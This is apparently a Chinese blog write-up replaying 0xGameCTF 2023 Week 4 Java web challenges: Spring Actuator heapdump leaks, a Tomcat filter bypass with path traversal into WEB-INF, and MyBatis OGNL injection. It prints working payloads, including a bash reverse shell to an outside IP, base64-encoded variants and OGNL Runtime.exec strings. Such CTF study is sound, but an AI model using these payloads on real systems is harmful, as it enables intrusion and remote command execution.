目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. spring(复现)
    2. 2.2. auth_bypass(复现)
    3. 2.3. YourBatis(复现)
    4. 2.4. TestConnection(未完成)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

0xGameCTF Week4

2023/10/25 CTF线上赛
  |     |   总文章阅读量:

前言

全是java框架。。。

结果这周太忙了根本没时间做,看看复现跟着做一下

题目复现:https://github.com/X1cT34m/0xGame2023


Web

spring(复现)

Spring Actuator heapdump 利用

  • Hint 1: Spring Actuator
  • Hint 2: 看看 /actuator/env 再看看 /actuator/heapdump

搜一下相关的漏洞,参考文章(其实这篇文章和本题没啥关系):https://xz.aliyun.com/t/9763

首先是泄露敏感信息,访问/actuator/env可以读取到配置信息,看来是Spring Boot 2.x

可以发现 app.username 和 app.password这两个环境变量

image-20231102215808239

告诉我们flag就在app.password里,但是它的value全是星号, 这里其实是被Spring给隐藏了

Spring actuator默认会把含有password,secret之类关键词的变量的值改成星号, 防止敏感信息泄露

但是我们可以通过/actuator/heapdump这个路由去导出JVM中的堆内存信息, 然后通过一定的查询得到app.password的明文

这里要用到JDumpSpider工具提取HeapDump敏感信息:https://github.com/whwlsfb/JDumpSpider

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

image-20231102220851172


auth_bypass(复现)

Tomcat Filter 绕过+java任意文件下载+WEB-INF目录的利用

题目附件

AuthFilter.java

package com.example.demo;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

public class AuthFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig)  {
    }

    @Override
    public void destroy() {
    }

    @Override
    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) req;

        if (request.getRequestURI().contains("..")) {
            resp.getWriter().write("blacklist");
            return;
        }

        if (request.getRequestURI().startsWith("/download")) {
            resp.getWriter().write("unauthorized access");
        } else {
            chain.doFilter(req, resp);
        }
    }
}

DownloadServlet.java

package com.example.demo;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.FileInputStream;
import java.io.IOException;

public class DownloadServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {

        String currentPath = this.getServletContext().getRealPath("/assets/");
        Object fileNameParameter = req.getParameter("filename");
        if (fileNameParameter != null) {
            String fileName = (String) fileNameParameter;
            resp.setHeader("Content-Disposition","attachment;filename="+fileName);
            try (FileInputStream input = new FileInputStream(currentPath + fileName)) {
                byte[] buffer = new byte[4096];
                while (input.read(buffer) != -1) {
                    resp.getOutputStream().write(buffer);
                }
            }
        } else {
            resp.setContentType("text/html");
            resp.getWriter().write("<a href=\"/download?filename=avatar.jpg\">avatar.jpg</a>");
        }
    }
}

稍微审一下就可以发现DownloadServlet.java里/download存在任意文件下载,但是在AuthFilter.java中最底下的if-else语句限制了我们不能访问/download路由,会显示未授权访问

  • Hint 1: Tomcat Filter 绕过 (网上有类似的文章 也可以自己尝试 fuzz 一些畸形 url 路径)

这里找了一篇讲filter权限绕过的文章:https://www.cnblogs.com/nice0e3/p/14801884.html

可以知道,直接通过getRequestURI()得到的url路径不会自动urldecode,也不会进行标准化(即去除多余的/..

而上面AuthFilter.java已经把..过滤了,所以用//download访问绕过即可

http://124.71.184.68:50042//download?filename=avatar.jpg

成功下载文件

尝试直接下/flag失败,应该是权限不够需要RCE

  • Hint 2: 题目通过 war 包部署 预期需要 RCE 尝试通过任意文件下载获取更多信息
  • Hint 3: 利用 WEB-INF 目录

Tomcat在部署war压缩包的时候会将其解压,而压缩包内会存在一个WEB-INF目录,目录里面包含编译好的.class文件已经web.xml(保存路由和类的映射关系)

下载web.xml,用url编码..

http://124.71.184.68:50042//download?filename=%2e%2e/WEB-INF/web.xml

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <servlet>
        <servlet-name>IndexServlet</servlet-name>
        <servlet-class>com.example.demo.IndexServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>com.example.demo.DownloadServlet</servlet-class>
    </servlet>
    <servlet>
        <servlet-name>EvilServlet</servlet-name>
        <servlet-class>com.example.demo.EvilServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>IndexServlet</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>DownloadServlet</servlet-name>
        <url-pattern>/download</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>EvilServlet</servlet-name>
        <url-pattern>/You_Find_This_Evil_Servlet_a76f02cb8422</url-pattern>
    </servlet-mapping>
    
    <filter>
        <filter-name>AuthFilter</filter-name>
        <filter-class>com.example.demo.AuthFilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>AuthFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
</web-app>

发现存在EvilServlet,映射的路由/You_Find_This_Evil_Servlet_a76f02cb8422,直接访问会返回405

那么我们通过构造包名(这里根据上面的java文件猜测包名为com.example.demo.EvilServlet)来下载对应的class文件

http://124.71.184.68:50042//download?filename=%2e%2e/WEB-INF/classes/com/example/demo/EvilServlet.class

反编译class文件

package com.example.demo;

import java.io.IOException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

/* loaded from: _WEB-INF_classes_com_example_demo_EvilServlet.class */
public class EvilServlet extends HttpServlet {
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        String cmd = req.getParameter("Evil_Cmd_Arguments_fe37627fed78");
        try {
            Runtime.getRuntime().exec(cmd);
            resp.getWriter().write("success");
        } catch (Exception e) {
            resp.getWriter().write("error");
        }
    }
}

很明显直接POST访问/You_Find_This_Evil_Servlet_a76f02cb8422然后传入参数Evil_Cmd_Arguments_fe37627fed78就能命令执行,由于是exec没有回显,需要反弹shell或者curl外带

bash -i >& /dev/tcp/115.236.153.170/35940 0>&1

payload生成:https://www.adminxe.com/tools/code.html

要把生成的弹shell命令进行一次url编码,把+=编码掉

把前面的空格替换成+,具体原因参考:https://www.anquanke.com/post/id/243329

bash+-c+{echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzAvMzU5NDAgMD4mMQ%3D%3D}|{base64,-d}|{bash,-i}

image-20231103153322262

成功弹shell

image-20231103153119636

flag在根目录下,用/readflag读取


YourBatis(复现)

MyBatis低版本OGNL注⼊

  • Hint 1: 关注题目名称/描述 以及 pom.xml 中的依赖

jadx-gui反编译jar包,查看META-INF中的maven/com/example/YourBatis/pom.xml

<dependency>
            <groupId>org.mybatis.spring.boot</groupId>
            <artifactId>mybatis-spring-boot-starter</artifactId>
            <version>2.1.1</version>
</dependency>

存在mybatis依赖,版本2.1.1

看controller

package com.example.yourbatis.controller;

import com.example.yourbatis.entity.User;
import com.example.yourbatis.mapper.UserMapper;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
/* loaded from: YourBatis.jar:BOOT-INF/classes/com/example/yourbatis/controller/IndexController.class */
public class IndexController {
    @Autowired
    private UserMapper userMapper;

    @RequestMapping({"/"})
    public String index() {
        return "Hello World!";
    }

    @RequestMapping({"/user"})
    public String user(@RequestParam(value = "username", defaultValue = "") String username) {
        if (!username.isEmpty()) {
            User user = this.userMapper.getUserByUsername(username);
            return user.toString();
        }
        List<User> userList = this.userMapper.getUsers();
        return userList.toString();
    }
}

得知存在/user路由,可传入username参数

  • Hint 2: SQL 注入不是考点 题目需要 RCE
  • Hint 3: MyBatis RCE 尝试结合网上的文章构造 Payload

参考文章:https://www.cnpanda.net/sec/1227.html

直接看provider中的UserSqlProvider类

package com.example.yourbatis.provider;

import org.apache.ibatis.jdbc.SQL;

/* loaded from: YourBatis.jar:BOOT-INF/classes/com/example/yourbatis/provider/UserSqlProvider.class */
public class UserSqlProvider {
    public String buildGetUsers() {
        return new SQL() { // from class: com.example.yourbatis.provider.UserSqlProvider.1
            {
                SELECT("*");
                FROM("users");
            }
        }.toString();
    }

    public String buildGetUserByUsername(final String username) {
        return new SQL() { // from class: com.example.yourbatis.provider.UserSqlProvider.2
            {
                SELECT("*");
                FROM("users");
                WHERE(String.format("username = '%s'", username));
            }
        }.toString();
    }
}

明显可以看出来username被直接拼接到了sql语句中,对照参考文章,存在OGNL表达式注入

一般可以直接弹shell

${@java.lang.Runtime@getRuntime().exec("bash -c {echo,YmFzaCAtaSA-JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzAvMzU5NDAgMD4mMQ}|{base64,-d}|{bash,-i}")}
  • Hint 6: 在进行 RCE 的时候 因为 OGNL 的解析问题 所以最终传入 Runtime.exec() 的命令内不得包含{} ,可以尝试编码绕过

值得留意的一点是,传入的命令如果包含了 {} , 会被递归解析为另⼀个 OGNL 表达式的开头和结尾

所以我们还要对payload做编码处理,总之不出现大括号即可

这里用官方wp的base64编码来做

${@java.lang.Runtime@getRuntime().exec((new java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQS1KaUF2WkdWMkwzUmpjQzh4TVRVdU1qTTJMakUxTXk0eE56QXZNelU1TkRBZ01ENG1NUX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9')))}

最后用bp的编码工具全部编码为url,再作为参数值发包

但是我这里没弹成shell。。。


TestConnection(未完成)

MySQL / PostgreSQL JDBC URL Attack

  • Hint 1: JDBC 会不会存在一些漏洞?